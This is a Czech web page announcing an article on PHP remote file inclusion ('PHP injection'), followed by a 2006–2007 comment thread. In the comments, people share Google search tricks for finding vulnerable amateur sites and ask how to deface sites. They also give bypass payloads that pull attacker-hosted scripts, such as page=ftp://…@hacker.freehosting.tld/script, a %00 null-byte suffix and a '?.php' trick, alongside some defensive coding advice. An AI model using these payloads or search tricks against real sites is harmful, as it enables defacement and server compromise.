PHP injekce
Popis php injekce, využití, zneužití, nebezpečné weby. PHP inekcí padlo hodně webů. Braňte se proti skript kiddies
Celý článek je zveřejněn na mozektevidi.net/clanek/php-injekce
Popis php injekce, využití, zneužití, nebezpečné weby. PHP inekcí padlo hodně webů. Braňte se proti skript kiddies
Celý článek je zveřejněn na mozektevidi.net/clanek/php-injekce
woxo2.szm.sk 
woxo2©centrum.skCaute Lidi ma niekto aj nejaky navod na vybielenie stranok na serveri szm.sk ?
24.11.2006 Pá 20:41
freudvoll©azet.skCaute Lidi ma niekto aj nejaky navod na vybielenie stranok na serveri szm.sk ?
24.11.2006 Pá 20:41
Tento web, je úžasný, dokonalost sama. Autor umí.. Fotky jsou super, kdy zajdeme na další akci? Byl jsi úžasný..
27.11.2006 Po 22:10
pecullus©centrum.czPěkný.
Autorovy fandím. Člověk se alespoň dozví jakých chyb se při psaní www stránek vyvarovat.
30.11.2006 Čt 14:36
Tento web, je úžasný, dokonalost sama. Autor umí.. Fotky jsou super, kdy zajdeme na další akci? Byl jsi úžasný..
2.12.2006 So 10:29
ne neno jo, ale co když se mi zobratuje jen to, vo mam napsaný v script.txd??? :-#
22.12.2006 Pá 09:18
mozna na google staci napsat index.php?page=
Nebo je este neco jistejsiho?
25.12.2006 Po 10:42
matejka.david©centrum.czczus vyzkousejte www.google.cz/search?q=allinurl:+index++…
to by melo najit vsechny cesky stranky ktery maj v url index a jedno ze slov page, strana,nebo show :-D
28.12.2006 Čt 18:39
matejka.david©centrum.czLoL sry ten odkaz je jen www.google.cz/search?hl=cs&as_qdr=al…
28.12.2006 Čt 18:40
mozektevidi.net mozek007©seznam.czTO matej21: Ještě bych doplnil hledat inurl wz, borec, ic.cz a podobné free hostingy. Tam je větší pravděpodobnost amatérské tvorby. I když já našel i lepší ryby - mozektevidi.ic.cz/index.php?kat_c=hackin… nejenom na webz 8-)
28.12.2006 Čt 19:43
s.bill©centrum.czHodne dobre pages.... Celkem me to zajima tak se tak divam ale zas tolik tech webu ktere jdou hacknout php injekci neni....zatim sem zadny nenasel. Ale fakt thx za tyhle strankySMIL
28.12.2006 Čt 19:55
mozektevidi.net mozek007©seznam.czTO Bily: Ani se nedivím, že neexistuje tolik stránek. Jednak je hodně webů řešeno přes databáze a druhá věc je, že php injekci ovládá každý rádoby hacker. Takže těch webů ubývá dost rychle.
28.12.2006 Čt 21:05
No, já to zkusil na svůj web...spíš administraci, páč web mám řešený trochu jinak. Tak jsem přišel (možná) na další zabezpečovací metodu: Pokud ty data vkládáte ze souboru, tak všechny ty soubory nahrňtě do složky.
Teď např. při pokusus s googlem php vyhodí chybu:
Warning: require_once(pages/google.com.php) [function.require-once]: failed to open stream: No such file or directory in ...
Ale samozřejmě se to nedá použít na stránky vkládáné z DB.
Avšak nevím, zda nejde nějak zneužít používání proměnných v url...třeba www.neco.cz/a.php?id=20 Když se vloží nějaký kód místo "20" , tak by se to teoreticky dalo hacknout, ne?
3.2.2007 So 14:46
mozektevidi.net mozek007©seznam.czTO 80rac3k: Záleží co je přesně to ID. Pokud se to tahá z databáze tak se použije sql injection. Tou SQL injection se smaže tabulka, či se exportují hesla (hashe) a mnohem víc. Pokud se vkládá do souboru, a soubor se jmenuje 20.php tak by to šlo, pokud není ochrana "./".$id.".php"
3.2.2007 So 14:57
Jasně, chápu. Ale když máš v php zapnuto magic_quotes_gpc , tak se ti před všechny ' vloží / , tím je to de facto zabezpečené. Jen nevím, zda nelze url s proměnnými zneužít i bez použití ' ...
3.2.2007 So 20:57
mozektevidi.net mozek007©seznam.czTO 80rac3k: Máš pravdu, když je ochrana na serveru tak nemusíš ./ Ale co kdyby se pravidla ze dne na den změnila? Třeba že by to někdo chtěl zapnout případně by nahrávali novou verzi php, kde by to bylo neošetřené? Lepší je programovat přímo bezpečné skripty
3.2.2007 So 21:24
Ještě horší, než nevědomost, je falešná sebejistota že to mám zabezpečené a nic se mi nemůže stát.
Přidání toho ".php" je úplně zbytečné, protože stačí, aby útočník poslal v $id url s otazníkem na konci a ta dodaná přípona se bude brát jako přebytečný argument k tomu url.
Podobně bych ti mohl podstrčit řídící znak pro backspace a umazat ten začátek. Naštěstí to nejde jen tak z adresního řádku.
22.2.2007 Čt 19:35
mozektevidi.net mozek007©seznam.czTO tracy: Myslím že nefunguje require "neco.php?parametr" parametry nejdou vkládat. Taky jsem viděl tipy vložit na konec "nulu". Vyšel perfektní přehled na soomu
22.2.2007 Čt 19:41
Měl jsem na mysli to, že při ochraně pouze přidáním ".php" se dá stále includovat http;//www.example.com/haxor?.php
Takže je to tam zbytečné.
23.2.2007 Pá 01:33
mozektevidi.net mozek007©seznam.czTO tracy: Můžeš použít index.php?page=ftp://login:heslo@hacker.freehosting.tld/script nebo script.txt%00 nebo si přečti příručku www.soom.cz/index.php?name=articles/show…
23.2.2007 Pá 08:52
Warning: main(p_neco.php): failed to open stream: No such file or directory in /3w/wz.cz/p/blabla/neco.php on line 37
Warning: main(): Failed opening 'p_neco.php' for inclusion (include_path='.:/usr/local/lib/php') in /3w/wz.cz/p/blablabla/bla.php on line 37
Tak to asi funguje tak PHP injekce že??? NVM
No kdyby fakala tak co mám udělat dál???? abych to dodělal tu PHP injekci aby sem videl jak to teda vypada na konci pripadne ze bych tam napsal Hacknuto dle Mzk a pak jim rict kde je chyba........ :-D :-P :-D
27.5.2007 Ne 21:25